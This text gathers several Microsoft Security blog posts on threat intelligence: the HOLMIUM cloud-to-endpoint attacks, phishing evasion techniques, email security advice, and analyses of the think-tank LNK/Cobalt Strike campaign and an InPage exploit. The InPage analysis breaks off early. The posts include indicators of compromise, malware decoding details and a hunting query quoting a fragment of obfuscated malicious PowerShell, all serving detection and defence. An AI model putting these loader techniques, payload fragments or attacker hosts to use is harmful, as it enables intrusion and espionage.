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Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint

June 18th, 2020 No comments

The increasing pervasiveness of cloud services in today’s work environments, accelerated by a crisis that forced companies around the globe to shift to remote work, is significantly changing how defenders must monitor and protect organizations. Corporate data is spread across multiple applications—on-premises and in the cloud—and accessed by users from anywhere using any device. With traditional surfaces expanding and network perimeters disappearing, novel attack scenarios and techniques are introduced.

Every day, we see attackers mount an offensive against target organizations through the cloud and various other attack vectors with the goal of finding the path of least resistance, quickly expanding foothold, and gaining control of valuable information and assets. To help organizations fend off these advanced attacks, Microsoft Threat Protection (MTP) leverages the Microsoft 365 security portfolio to automatically analyze cross-domain threat data, building a complete picture of each attack in a single dashboard. With this breadth and depth of clarity, defenders can focus on critical threats and hunting for sophisticated breaches across endpoints, email, identities and applications.

Among the wide range of actors that Microsoft tracks—from digital crime groups to nation-state activity groups—HOLMIUM is one of the most proficient in using cloud-based attack vectors. Attributed to a Middle East-based group and active since at least 2015, HOLMIUM has been performing espionage and destructive attacks targeting aerospace, defense, chemical, mining, and petrochemical-mining industries. HOLMIUM’s activities and techniques overlap with what other researchers and vendors refer to as APT33, StoneDrill, and Elfin.

HOLMIUM has been observed using various vectors for initial access, including spear-phishing email, sometimes carrying archive attachments that exploit the CVE-2018-20250 vulnerability in WinRAR, and password-spraying. Many of their recent attacks, however, have involved the penetration testing tool Ruler used in tandem with compromised Exchange credentials.

The group used Ruler to configure a specially crafted Outlook Home Page URL to exploit the security bypass vulnerability CVE-2017-11774, which was fixed shortly after it was discovered. Successful exploitation automatically triggered remote code execution of a script when an Outlook client synced with a mailbox and rendered the profile Home Page URL. These scripts, usually VBScript followed by PowerShell, in turn initiated the delivery of various payloads.

In this blog, the first in the Inside Microsoft Threat Protection series, we will show how MTP provides unparalleled end-to-end visibility into the activities of nation-state level attacks like HOLMIUM. In succeeding blog posts in this series, we will shine a spotlight on aspects of the coordinated defense delivered by Microsoft Threat Protection.

Tracing an end-to-end cloud-based HOLMIUM attack

HOLMIUM has likely been running cloud-based attacks with Ruler since 2018, but a notable wave of such attacks was observed in the first half of 2019. These attacks combined the outcome of continuous password spray activities against multiple organizations, followed by successful compromise of Office 365 accounts and the use of Ruler in short sequences to gain control of endpoints. This wave of attacks was the subject of a warning from US Cybercom in July 2019.

These HOLMIUM attacks typically started with intensive password spray against exposed Active Directory Federation Services (ADFS) infrastructure; organizations that were not using multi-factor authentication (MFA) for Office 365 accounts had a higher risk of having accounts compromised through password spray. After successfully identifying a few user and password combinations via password spray, HOLMIUM used virtual private network (VPN) services with IP addresses associated with multiple countries to validate that the compromised accounts also had access to Office 365.

Figure 1. Password spray and compromised account sign-ins by HOLMIUM as detected in Azure Advanced Threat Protection (ATP) and Microsoft Cloud App Security (MCAS)

Armed with a few compromised Office 365 accounts and not blocked by MFA defense, the group launched the next step with Ruler and configured a malicious Home Page URL which, once rendered during a normal email session, resulted in the remote code execution of a PowerShell backdoor through the exploitation of a vulnerability like CVE-2017-11774. The two domains abused by HOLMIUM and observed during this 2019 campaign were “topaudiobook.net” and “customermgmt.net”.

Figure 2. Exploitation of Outlook Home Page feature using Ruler-like tools

Figure 3. Weaponized home page and initial PowerShell payload

This initial foothold allowed HOLMIUM to run their custom PowerShell backdoor (known as POWERTON) directly from an Outlook process and to perform the installation of additional payloads on the endpoint with different persistence mechanisms, such as WMI subscription (T1084) or registry autorun keys (T1060). Once the group has taken control of the endpoint (in addition to the cloud identity), the next phase was hours of exploration of the victim’s network, enumerating user accounts and machines for additional compromise, and lateral movement within the perimeter. HOLMIUM attacks typically took less than a week from initial access via the cloud to obtaining unhampered access and full domain compromise, which then allowed the attackers to stay persistent for long periods of time, sometimes for months on end.

Figure 4. Snippets of HOLMIUM PowerShell backdoor (POWERTON) implementing two different persistence mechanisms: WMI event subscription (T1084) and Registry run keys or Startup folder (T1060)

HOLMIUM attacks as seen and acted upon by Microsoft Threat Protection

HOLMIUM attacks demonstrate how hybrid attacks that span from cloud to endpoints require a wide range of sensors for comprehensive visibility. Enabling organizations to detect attacks like these by correlating events in multiple domains – cloud, identity, endpoints – is the reason why we build products like Microsoft Threat Protection. As we described in our analysis of HOLMIUM attacks, the group compromised identities in the cloud and leveraged cloud APIs to gain code execution or persist. The attackers then used a cloud email configuration to run specially crafted PowerShell on endpoints every time the Outlook process is opened.

During these attacks, many target organizations reacted too late in the attack chain—when the malicious activities started manifesting on endpoints via the PowerShell commands and subsequent lateral movement behavior. The earlier attack stages like cloud events and password spray activities were oftentimes missed or sometimes not linked with activities observed on the endpoint. This resulted in gaps in visibility and, subsequently, incomplete remediation.

While it’s relatively easy to remediate and stop malicious processes and downloaded malware on endpoints using endpoint security solutions, such a conventional approach would mean that the attack is persistent in the cloud, so the endpoint could be immediately compromised again. Remediating identities in the cloud is a different story.

Figure 5. The typical timeline of a HOLMIUM attack kill-chain

In an organization utilizing MTP, multiple expert systems that monitor various aspects of the network would detect and raise alerts on HOLMIUM’s activities. MTP sees the full attack chain across domains beyond simply blocking on endpoints or zapping emails, thus putting organizations in a superior position to fight the threat.

Figure 6. MTP components able to prevent or detect HOLMIUM techniques across the kill chain.

These systems work in unison to prevent attacks or detect, block, and remediate malicious activities. Across affected domains, MTP detects signs of HOLMIUM’s attacks:

  • Azure ATP identifies account enumeration and brute force attacks
  • MCAS detects anomalous Office 365 sign-ins that use potentially compromised credentials or from suspicious locations or networks
  • Microsoft Defender ATP exposes malicious PowerShell executions on endpoints triggered from Outlook Home Page exploitation

Figure 7. Activities detected across affected domains by different MTP expert systems

Traditionally, these detections would each be surfaced in its own portal, alerting on pieces of the attack but requiring the security team to stitch together the full picture. With Microsoft Threat Protection, the pieces of the puzzle are fused automatically through deep threat investigation. MTP generates a combined incident view that shows the end-to-end attack, with all related evidence and affected assets in one view.

Figure 8. The MTP incident brings together in one view the entire end-to-end attack across domain boundaries

Understanding the full attack chain enables MTP to automatically intervene to block the attack and remediate assets holistically across domains. In HOLMIUM attacks, MTP not only stops the PowerShell activity on endpoints but also contains the impact of stolen user accounts by marking them as compromised in Azure AD. This invokes Conditional Access as configured in Azure AD and applies conditions like MFA or limitations on the user account’s permissions to access organizational resources until the account is remediated fully.

Figure 9. Coordinated automatic containment and remediation across email, identity, and endpoints

Security teams can dig deep and expand their investigation into the incident in Microsoft 365 Security Center, where all details and related activities are available in one place. Furthermore, security teams can hunt for more malicious activities and artifacts through advanced hunting, which brings together all the raw data collected across product domains into one unified schema with powerful query constructs.

Figure 10. Hunting for activities across email, identity, endpoint and cloud applications

Finally, when the attack is blocked and all affected assets are remediated, MTP helps organizations identify improvements to their security configuration that would prevent the attacker from returning. The Threat Analytics report provides an exposure view and recommends prevention measures relevant to the threat. For example, the Analytics Report for HOLMIUM recommended, among other things, applying the appropriate security updates to prevent tools like Ruler from operating, as well as completely eliminating this attack vector in the organization.

Figure 11. Threat Analytics provides organizational exposure and recommended mitigations for HOLMIUM 

Microsoft Threat Protection: Stop attacks with automated cross-domain security

HOLMIUM exemplifies the sophistication of today’s cyberattacks, which leverage techniques spanning organizational cloud services and on-prem devices. Organizations must equip themselves with security tools that enable them to see the attack sprawl and respond to these attacks holistically and automatically. Protecting organizations from sophisticated attacks like HOLMIUM is the backbone of MTP.

Microsoft Threat Protection harnesses the power of Microsoft 365 security products and brings them together into an unparalleled coordinated defense that detects, correlates, blocks, remediates, and prevents such attacks across an organization’s Microsoft 365 environment. Existing Microsoft 365 licenses provide access to Microsoft Threat Protection features in Microsoft 365 security center without additional cost. Learn how Microsoft Threat Protection can help your organization to stop attacks with coordinated defense.

 

The post Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint appeared first on Microsoft Security.

The quiet evolution of phishing

December 11th, 2019 No comments

The battle against phishing is a silent one: every day, Office 365 Advanced Threat Protection detects millions of distinct malicious URLs and email attachments. Every year, billions of phishing emails don’t ever reach mailboxes—real-world attacks foiled in real-time. Heuristics, detonation, and machine learning, enriched by signals from Microsoft Threat Protection services, provide dynamic, robust protection against email threats.

Phishers have been quietly retaliating, evolving their techniques to try and evade these protections. In 2019, we saw phishing attacks reach new levels of creativity and sophistication. Notably, these techniques involve the abuse of legitimate cloud services like those offered by Microsoft, Google, Amazon, and others. At Microsoft, we have aggressive processes to identify and take down nefarious uses of our services without affecting legitimate applications.

In this blog we’ll share three of the most notable attack techniques we spotted this year. We uncovered these attacks while studying Office 365 ATP signals, which we use to track and deeply understand attacker activity and build durable defenses against evolving and increasingly sophisticated email threats.

Hijacked search results lead to phishing

Over the years, phishers have become better at evading detection by hiding malicious artifacts behind benign ones. This tactic manifests in, among many others, the use of URLs that point to legitimate but compromised websites or multiple harmless-looking redirectors that eventually lead to phishing.

One clever phishing campaign we saw in 2019 used links to Google search results that were poisoned so that they pointed to an attacker-controlled page, which eventually redirected to a phishing page. A traffic generator ensured that the redirector page was the top result for certain keywords.

Figure 1. Phishing attack that used poisoned search results

Using this technique, phishers were able to send phishing emails that contained only legitimate URLs (i.e., link to search results), and a trusted domain at that, for example:

  • hxxps://www[.]google[.]ru/#btnI&q=%3Ca%3EhOJoXatrCPy%3C/a%3E
  • hxxps://www[.]google[.]ru/#btnI&q=%3Ca%3EyEg5xg1736iIgQVF%3C/a%3E

The campaign was made even stealthier by its use of location-specific search results. When accessed by users in Europe, the phishing URL led to the redirector website c77684gq[.]beget[.]tech, and eventually to the phishing page. Outside Europe, the same URL returned no search results.

For this to work, attackers had to make sure that their website, c77684gq[.]beget[.]tech, was the top search result for the keyword “hOJoXatrCPy” when queried from certain regions. The website’s HTML code is composed of a redirector script and a series of anchor elements:

Figure 2. Redirector code

These anchor elements were designed to be crawled by search engines so that the page is indexed and returned as result for the search keywords that attackers wanted to use for their campaign.

Figure 3. Anchor tags containing search keywords

The attackers then set up a traffic generator to poison search results. Because the phishing URL used the open redirector functionality, it redirected to the top search result, hence the redirector page.

404 Not Found pages customized to be phishing sites

The other way that phishers evade detection is to use multiple URLs and sometimes even multiple domains for their campaigns. They use techniques like subdomain generation algorithms to try and always get ahead of solutions, which, without the right dynamic technologies, will be forced continually catch up as phishers generate more and more domains and URLs.

This year, attackers have found another shrewd way to serve phishing: custom 404 pages. We uncovered a phishing campaign targeting Microsoft that used 404 pages crafted as phishing pages, which gave phishers virtually unlimited phishing URLs.

Figure 4. Phishing attack that uses specially crafted 404 Not Found error page

The custom 404 page was designed to look like the legitimate Microsoft account sign-in page.

Figure 5. 404 page designed as phishing page

Because the malformed 404 page is served to any non-existent URL in an attacker-controlled domain, the phishers could use random URLs for their campaigns. For example, we saw these two URLs used in phishing campaigns; the attackers added a single character to the second one to generate a new URL but serve the same phishing page:

  • hxxps://skype-online8024[.]web[.]app/8cc1083b0ffdf1e5b9594c045c825b02d41d8cd98f00b204e9800998ecf8427e#ZG1jY2FubkBtb3Jicm9zLmNvbQ
  • hxxps://skype-online8024[.]web[.]app/8cc1083b0ffdf1e5b9594c045c825b02d41d8cd98f00b204e9800998ecf8427e#ZG1jY2FubkBtb3Jicm9zLmNvbQs

We also found that the attackers randomized domains, exponentially increasing the number of phishing URLs:

  • outlookloffice365usertcph4l3q[.]web[.]app
  • outlookloffice365userdqz75j6h[.]web[.]app
  • outlookloffice365usery6ykxo07[.]web[.]app

All of these non-existent URLs returned the 404 error page, i.e., the phishing page:

Figure 6. When phishing URL is accessed, server responds with HTTP 404 error message, which is a phishing page

Man-in-the-middle component for dynamic phishing attack

Phishers have also been getting better at impersonation: the more legitimate the phishing emails looked, the better their chances at tricking recipients. Countless brands both big and small have been targets of spoofing by phishers.

One particular phishing campaign in 2019 took impersonation to the next level. Instead of attackers copying elements from the spoofed legitimate website, a man-in-the-middle component captured company-specific information like logos, banners, text, and background images from Microsoft’s rendering site.

Phishers sent out emails with URLs pointing to an attacker-controlled server, which served as the man-in-the-middle component and simulated Microsoft sign-in pages. The server identified certain specific information based on the recipient’s email address, including the target company, and then gathered the information specific to that company. The result was the exact same experience as the legitimate sign-page, which could significantly reduce suspicion.

Figure 7. Phishing attack that abuses Microsoft’s rendering site

Using the same URL, the phishing site was rendered differently for different targeted users. To generate legitimate-looking phishing sites, the server used the following code to retrieve the banner used by the target’s victim company as identified by the domain information in the email address; the response is the URL for the company banner:

Figure 8. Code snippet for requesting the banner

The server also retrieved the text used in the company’s sign-in page; the response is the actual text specific to the target victim’s company:

Figure 9. Code snippet for requesting the company-specific text

To complete the legitimate-looking phishing page, the server requested the background image using the code below; the response is the URL to the image:

Figure 10. Codes snippets for requesting background image

Office 365 ATP: Durable and dynamic defense for evolving email threats

The phishing techniques that we discussed in this blog are vastly different from each, but they are all clever attempts to achieve something that’s very important for phishers and other cybercrooks: stealth. The longer phishers can quietly hide from security solutions, the more chances they have to invade inboxes and trick people into divulging sensitive information.

To hunt down phishing and other threats that don’t want to be found, Office 365 ATP uses advanced security technologies that expose sophisticated techniques. Our URL detonation technology can follow the attack chain so it can detect threats even if they hide behind legitimate services and multiple layers of redirectors.

This rich visibility into email threats allows Office 365 ATP to continuously inform and improve its heuristic and machine learning protections so that new and emerging campaigns are blocked in real-time—silently protecting customers from attacks even when they don’t know it. The insights from Office 365 ATP also allow our security experts to track emerging techniques and other attacker activities like the ones we discussed in this blog, allowing us to ensure that our protections are effective not just for the campaigns that we see today but those that might emerge in the future.

In addition, with the new campaign views in Office 365 ATP currently in preview, enterprises can get a broad picture of email campaigns observed in their network, with details like when the campaign started, the sending pattern and timeline, the list of IP addresses and senders used in the attack, which messages were blocked or otherwise, and other important information.

As an important component of Microsoft Threat Protection, Office 365 ATP provides critical security signals about threat that arrive via email—a common entry point for cyberattacks—to the rest of Microsoft’s security technologies, helping provide crucial protection at the early stages of attacks. Through signal-sharing and remediation orchestration across security solutions, Microsoft Threat Protection provides comprehensive and integrated protection for identities, endpoints, user data, apps, and infrastructure.

 

Patrick Estavillo
Office 365 ATP Research Team

 

 

 


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Top 6 email security best practices to protect against phishing attacks and business email compromise

October 16th, 2019 No comments

Most cyberattacks start over email—a user is tricked into opening a malicious attachment, or into clicking a malicious link and divulging credentials, or into responding with confidential data. Attackers dupe victims by using carefully crafted emails to build a false sense of trust and/or urgency. And they use a variety of techniques to do this—spoofing trusted domains or brands, impersonating known users, using previously compromised contacts to launch campaigns and/or using compelling but malicious content in the email. In the context of an organization or business, every user is a target and, if compromised, a conduit for a potential breach that could prove very costly.

Whether it’s sophisticated nation-state attacks, targeted phishing schemes, business email compromise or a ransomware attacks, such attacks are on the rise at an alarming rate and are also increasing in their sophistication. It is therefore imperative that every organization’s security strategy include a robust email security solution.

So, what should IT and security teams be looking for in a solution to protect all their users, from frontline workers to the C-suite? Here are 6 tips to ensure your organization has a strong email security posture:

You need a rich, adaptive protection solution.

As security solutions evolve, bad actors quickly adapt their methodologies to go undetected. Polymorphic attacks designed to evade common protection solutions are becoming increasingly common. Organizations therefore need solutions that focus on zero-day and targeted attacks in addition to known vectors. Purely standards based or known signature and reputation-based checks will not cut it.

Solutions that include rich detonation capabilities for files and URLs are necessary to catch payload-based attacks. Advanced machine learning models that look at the content and headers of emails as well as sending patterns and communication graphs are important to thwart a wide range of attack vectors including payload-less vectors such as business email compromise. Machine learning capabilities are greatly enhanced when the signal source feeding it is broad and rich; so, solutions that boast of a massive security signal base should be preferred. This also allows the solution to learn and adapt to changing attack strategies quickly which is especially important for a rapidly changing threat landscape.

Complexity breeds challenges. An easy-to-configure-and-maintain system reduces the chances of a breach.

Complicated email flows can introduce moving parts that are difficult to sustain. As an example, complex mail-routing flows to enable protections for internal email configurations can cause compliance and security challenges. Products that require unnecessary configuration bypasses to work can also cause security gaps. As an example, configurations that are put in place to guarantee delivery of certain type of emails (eg: simulation emails), are often poorly crafted and exploited by attackers.

Solutions that protect emails (external and internal emails) and offer value without needing complicated configurations or emails flows are a great benefit to organizations. In addition, look for solutions that offer easy ways to bridge the gap between the security teams and the messaging teams. Messaging teams, motivated by the desire to guarantee mail delivery, might create overly permissive bypass rules that impact security. The sooner these issues are caught the better for overall security. Solutions that offer insights to the security teams when this happens can greatly reduce the time taken to rectify such flaws thereby reducing the chances of a costly breach

A breach isn’t an “If”, it’s a “When.” Make sure you have post-delivery detection and remediation.

No solution is 100% effective on the prevention vector because attackers are always changing their techniques. Be skeptical of any claims that suggest otherwise. Taking an ‘assume breach’ mentality will ensure that the focus is not only on prevention, but on efficient detection and response as well. When an attack does go through the defenses it is important for security teams to quickly detect the breach, comprehensively identify any potential impact and effectively remediate the threat.

Solutions that offer playbooks to automatically investigate alerts, analyze the threat, assess the impact, and take (or recommend) actions for remediations are critical for effective and efficient response. In addition, security teams need a rich investigation and hunting experience to easily search the email corpus for specific indicators of compromise or other entities. Ensure that the solution allows security teams to hunt for threats and remove them easily.
Another critical component of effective response is ensuring that security teams have a good strong signal source into what end users are seeing coming through to their inbox. Having an effortless way for end users to report issues that automatically trigger security playbooks is key.

Your users are the target. You need a continuous model for improving user awareness and readiness.

An informed and aware workforce can dramatically reduce the number of occurrences of compromise from email-based attacks. Any protection strategy is incomplete without a focus on improving the level of awareness of end users.

A core component of this strategy is raising user awareness through Phish simulations, training them on things to look out for in suspicious emails to ensure they don’t fall prey to actual attacks. Another, often overlooked, but equally critical, component of this strategy, is ensuring that the everyday applications that end-users use are helping raise their awareness. Capabilities that offer users relevant cues, effortless ways to verify the validity of URLs and making it easy to report suspicious emails within the application — all without compromising productivity — are very important.

Solutions that offer Phish simulation capabilities are key. Look for deep email-client-application integrations that allow users to view the original URL behind any link regardless of any protection being applied. This helps users make informed decisions. In addition, having the ability to offer hints or tips to raise specific user awareness on a given email or site is also important. And, effortless ways to report suspicious emails that in turn trigger automated response workflows are critical as well.

Attackers meet users where they are. So must your security.

While email is the dominant attack vector, attackers and phishing attacks will go where users collaborate and communicate and keep their sensitive information. As forms of sharing, collaboration and communication other than email, have become popular, attacks that target these vectors are increasing as well. For this reason, it is important to ensure that an organization’s anti-Phish strategy not just focus on email.

Ensure that the solution offers targeted protection capabilities for collaboration services that your organization uses. Capabilities like detonation that scan suspicious documents and links when shared are critical to protect users from targeted attacks. The ability in client applications to verify links at time-of-click offers additional protection regardless of how the content is shared with them. Look for solutions that support this capability.

Attackers don’t think in silos. Neither can the defenses.

Attackers target the weakest link in an organization’s defenses. They look for an initial compromise to get in, and once inside will look for a variety of ways increase the scope and impact of the breach. They typically achieve this by trying to compromise other users, moving laterally within the organization, elevating privileges when possible, and the finally reaching a system or data repository of critical value. As they proliferate through the organization, they will touch different endpoints, identities, mailboxes and services.

Reducing the impact of such attacks requires quick detection and response. And that can only be achieved when the defenses across these systems do not act in silos. This is why it is critical to have an integrated view into security solutions. Look for an email security solution that integrates well across other security solutions such as endpoint protection, CASB, identity protection, etc. Look for richness in integration that goes beyond signal integration, but also in terms of detection and response flows.

 

 

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Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers

December 3rd, 2018 No comments

Reuters recently reported a hacking campaign focused on a wide range of targets across the globe. In the days leading to the Reuters publication, Microsoft researchers were closely tracking the same campaign.

Our sensors revealed that the campaign primarily targeted public sector institutions and non-governmental organizations like think tanks and research centers, but also included educational institutions and private-sector corporations in the oil and gas, chemical, and hospitality industries.

Microsoft customers using the complete Microsoft Threat Protection solution were protected from the attack. Behavior-based protections in multiple Microsoft Threat Protection components blocked malicious activities and exposed the attack at its early stages. Office 365 Advanced Threat Protection caught the malicious URLs used in emails, driving the blocking of said emails, including first-seen samples. Meanwhile, numerous alerts in Windows Defender Advanced Threat Protection exposed the attacker techniques across the attack chain.

Third-party security researchers have attributed the attack to a threat actor named APT29 or CozyBear, which largely overlaps with the activity group that Microsoft calls YTTRIUM. While our fellow analysts make a compelling case, Microsoft does not yet believe that enough evidence exists to attribute this campaign to YTTRIUM.

Regardless, due to the nature of the victims, and because the campaign features characteristics of previously observed nation-state attacks, Microsoft took the step of notifying thousands of individual recipients in hundreds of targeted organizations. As part of the Defending Democracy Program, Microsoft encourages eligible organizations to participate in Microsoft AccountGuard, a service designed to help these highly targeted customers protect themselves from cybersecurity threats.

Attack overview

The aggressive campaign began early in the morning of Wednesday, November 14. The targeting appeared to focus on organizations that are involved with policy formulation and politics or have some influence in that area.

Phishing targets in different industry verticals

Although targets are distributed across the globe, majority are located in the United States, particularly in and around Washington, D.C. Other targets are in Europe, Hong Kong, India, and Canada.

Phishing targets in different locations

The spear-phishing emails mimicked sharing notifications from OneDrive and, as noted by Reuters, impersonated the identity of individuals working at the United States Department of State. If recipients clicked a link on the spear-phishing emails, they began an exploitation chain that resulted in the implantation of a DLL backdoor that gave the attackers remote access to the recipients machines.

Attack chain

Analysis of the campaign

Delivery

The spear-phishing emails used in this attack resemble file-sharing notifications from OneDrive.

The emails contain a link to a legitimate, but compromised third-party website:

hxxps://www.jmj.com/personal/nauerthn_state_gov/TUJE7QJl[random string]

The random strings are likely used to identify distinct targeted individuals who clicked on the link. However, all observed variants of this link redirect to a specific link on the same site:

hxxps://www.jmj.com/personal/nauerthn_state_gov/VFVKRTdRSm

When users click the link, they are served a ZIP archive containing a malicious LNK file. All files in a given attack have the same file name, for example, ds7002.pdf, ds7002.zip, and ds7002.lnk.

Installation

The LNK file represents the first stage of the attack. It executes an obfuscated PowerShell command that extracts a base64-encoded payload from within the LNK file itself, starting at offset 0x5e2be and extending 16,632 bytes.

Encoded content in the LNK file

The encoded payloadanother heavily obfuscated PowerShell scriptis decoded and executed:

Decoded second script

The second script carves out two additional resources from within the .LNK file:

  • ds7002.PDF (A decoy PDF)
  • cyzfc.dat (The first stage implant)

Command and control

The first-stage DLL, cyzfc.dat, is created by the PowerShell script in the path %AppData%\Local\cyzfc.dat. It is a 64-bit DLL that exports one function: PointFunctionCall.

The PowerShell script then executes cyzfc.dat by calling rundll32.exe. After connecting to the first-stage command-and-control server at pandorasong[.]com (95.216.59.92), cyzfc.dat begins to install the final payload by taking the following actions:

  1. Allocate a ReadWrite page for the second-stage payload
  2. Extract the second-stage payload as a resource
  3. Take a header that is baked into the first payload with a size 0xEF bytes
  4. Concatenate the header with the resource, starting at byte 0x12A.
  5. De-XOR the second-stage payload with a rolling XOR (ROR1), starting from key 0xC5.

The second stage is an instance of Cobalt Strike, a commercially available penetration testing tool, which performs the following steps:

  1. Define a local named pipe with the format \\.\pipe\MSSE-<number>-server, where <number> is a random number between 0 and 9897
  2. Connecting to the pipe, write it global data with size 0x3FE00
  3. Implement a backdoor over the named pipe:

    1. Read from the pipe (maximum 0x3FE00 bytes) to an allocated buffer
    2. DeXOR the payload onto a new RW memory region, this time with a much simple XOR key: simple XORing every 4 bytes with 0x7CC2885F
    3. Turn the region to be RX
    4. Create a thread that starts running the payload’

The phase that writes to global data to the pipe actually writes a third payload. That payload is XORed with the same XORing algorithm used for reading. When decrypted, it forms a PE file with a Meterpreter header, interpreting instructions in the PE header and moving control to a reflective loader:

The third payload eventually gets loaded and connects to the command-and-control (C&C) server address that is baked-in inside configuration information in the PE file. This configuration information is de-XORed at the third payload runtime:

The configuration information itself mostly contains C&C information:

CobaltStrike is a feature-rich penetration testing tool that provides remote attackers with a wide range of capabilities, including escalating privileges, capturing user input, executing arbitrary commands through PowerShell or WMI, performing reconnaissance, communicating with C&C servers over various protocols, and downloading and installing additional malware.

End-to-end defense through Microsoft Threat Protection

Microsoft Threat Protection is a comprehensive solution for enterprise networks, protecting identities, endpoints, user data, cloud apps, and infrastructure. By integrating Microsoft services, Microsoft Threat Protection facilitates signal sharing and threat remediation across services. In this attack, Office 365 Advanced Threat Protection and Windows Defender Advanced Threat Protection quickly mitigated the threat at the onset through durable behavioral protections.

Office 365 ATP has enhanced phishing protection and coverage against new threats and polymorphic variants. Detonation systems in Office 365 ATP caught behavioral markers in links in the emails, allowing us to successfully block campaign emailsincluding first-seen samplesand protect targeted customers. Three existing behavioral-based detection algorithms quickly determined that the URLs were malicious. In addition, Office 365 ATP uses security signals from Windows Defender ATP, which had a durable behavior-based antivirus detection (Behavior:Win32/Atosev.gen!A) for the second-stage malware.If you are not already secured against advanced cyberthreat campaigns via email, begin a free Office 365 E5 trial today.

Safe Links protection in Office 365 ATP protects customers from attacks like this by analyzing unknown URLs when customers try to open them. Zero-hour Auto Purge (ZAP) actively removes emails post-delivery after they have been verified as maliciousthis is often critical in stopping attacks that weaponize embedded URLs after the emails are sent.

All of these protections and signals on the attack entry point are shared with the rest of the Microsoft Threat Protection components. Windows Defender ATP customers would see alerts related to the detection of the malicious emails by Office 365 ATP, as well the behavior-based antivirus detection.

Windows Defender ATP detects known filesystem and network artifacts associated with the attack. In addition, the actions of the LNK file are detected behaviorally. Alerts with the following titles are indicative of this attack activity:

  • Artifacts associated with an advanced threat detected
  • Network activity associated with an advanced threat detected
  • Low-reputation arbitrary code executed by signed executable
  • Suspicious LNK file opened

Network protection blocks connections to malicious domains and IP addresses. The following attack surface reduction rule also blocks malicious activities related to this attack:

  • Block executable files from running unless they meet a prevalence, age, or trusted list criteria

Through Windows Defender Security Center, security operations teams could investigate these alerts and pivot to machines, users, and the new Incidents view to trace the attack end-to-end. Automated investigation and response capabilities, threat analytics, as well as advanced hunting and new custom detections, empower security operations teams to defend their networks from this attack.To test how Windows Defender ATP can help your organization detect, investigate, and respond to advanced attacks, sign up for a free Windows Defender ATP trial.

The following Advanced hunting query can help security operations teams search for any related activities within the network:

//Query 1: Events involving the DLL container
let fileHash = "9858d5cb2a6614be3c48e33911bf9f7978b441bf";
find in (FileCreationEvents, ProcessCreationEvents, MiscEvents, 
RegistryEvents, NetworkCommunicationEvents, ImageLoadEvents)
where SHA1 == fileHash or InitiatingProcessSHA1 == fileHash
| where EventTime > ago(10d)

//Query 2: C&C connection
NetworkCommunicationEvents 
| where EventTime > ago(10d) 
| where RemoteUrl == "pandorasong.com" 

//Query 3: Malicious PowerShell
ProcessCreationEvents 
| where EventTime > ago(10d) 
| where ProcessCommandLine contains 
"-noni -ep bypass $zk=' JHB0Z3Q9MHgwMDA1ZTJiZTskdmNxPTB4MDAwNjIzYjY7JHRiPSJkczcwMDIubG5rIjtpZiAoLW5vdChUZXN0LVBhdGggJHRiKSl7JG9lPUdldC1DaGlsZEl0" 

//Query 4: Malicious domain in default browser commandline
ProcessCreationEvents 
| where EventTime > ago(10d) 
| where ProcessCommandLine contains 
"https://www.jmj.com/personal/nauerthn_state_gov" 

//Query 5: Events involving the ZIP
let fileHash = "cd92f19d3ad4ec50f6d19652af010fe07dca55e1";
find in (FileCreationEvents, ProcessCreationEvents, MiscEvents, 
RegistryEvents, NetworkCommunicationEvents, ImageLoadEvents)
where SHA1 == fileHash or InitiatingProcessSHA1 == fileHash
| where EventTime > ago(10d)

The provided queries check events from the past ten days. Change EventTime to focus on a different period.

 

 

 

Windows Defender Research team, Microsoft Threat Intelligence Center, and Office 365 ATP research team

 

 

 

Indicators of attack

Files (SHA-1)

  • ds7002.ZIP: cd92f19d3ad4ec50f6d19652af010fe07dca55e1
  • ds7002.LNK: e431261c63f94a174a1308defccc674dabbe3609
  • ds7002.PDF (decoy PDF): 8e928c550e5d44fb31ef8b6f3df2e914acd66873
  • cyzfc.dat (first-stage): 9858d5cb2a6614be3c48e33911bf9f7978b441bf

URLs

  • hxxps://www.jmj[.]com/personal/nauerthn_state_gov/VFVKRTdRSm

C&C servers

  • pandorasong[.]com (95.216.59.92) (first-stage C&C server)

 

 

 


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Follow us on Twitter @WDSecurity and Facebook Windows Defender Security Intelligence.

 

 

The post Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers appeared first on Microsoft Secure.

Attack uses malicious InPage document and outdated VLC media player to give attackers backdoor access to targets

November 8th, 2018 No comments

Our analysis of a targeted attack that used a language-specific word processor shows why its important to understand and protect against small-scale and localized attacks as well as broad-scale malware campaigns. The attack exploited a vulnerability in InPage, a word processor software for specific languages like Urdu, Persian, Pashto, and Arabic.

More than 75% of the targets were located in Pakistan; however, the attack also found its way into some countries in Europe and the US. The targets included government institutions.

Figure 1. Geographic distribution of targets

In the past, researchers at Palo Alto and Kaspersky have blogged about attacks that use malicious InPage documents. Beyond that, public research of these types of attacks has been limited.

The Office 365 Research and Response team discovered this type of targeted attack in June. The attack was orchestrated using the following approach:

  • Spear-phishing email with a malicious InPage document with the file name hafeez saeed speech on 22nd April.inp was sent to the intended victims
  • The malicious document, which contained exploit code for CVE-2017-12824, a buffer-overflow vulnerability in InPage reader, dropped a legitimate but outdated version of VLC media player that is vulnerable to DLL hijacking
  • The side-loaded malicious DLL called back to a command-and-control (C&C) site, which triggered the download and execution of the final malware encoded in a JPEG file format
  • The final malware allowed attackers to remotely execute arbitrary command on the compromised machine

Figure 2. Attack infection chain

Office 365 Advanced Threat Protection (ATP) protects customers from this attack by detecting the malicious InPage attachment in spear-phishing emails used in the campaign. Office 365 ATP inspects email attachments and links for malicious content and provides real-time protection against attacks.

Office 365 ATP leverages massive threat intelligence from different data sources and integrates signals from multiple services such as Windows Defender ATP and Azure ATP. For example, Windows Defender Antivirus detects the malicious files and documents used in this attack. Additionally, endpoint detection and response (EDR) capabilities in Windows Defender ATP detects the DLL side-loading and malicious behavior observed in this attack. Through the integration of Office 365 ATP and the rest of Microsoft security technologies in Microsoft Threat Protection, detection and remediation are orchestrated across our solutions.

Entry point: Malicious InPage document

An email with a malicious InPage lure document attached was sent to select targets. The document exploits CVE-2017-12842, a vulnerability in InPage that allows arbitrary code execution. When the malicious InPage document is opened, it executes a shellcode that decrypts and executes an embedded malicious DLL file. The decryption routine is a simple XOR function that uses the decryption key “27729984h”.

Figure 3. First DLL decryption function

Stage 1: DLL side-loading and C&C communication

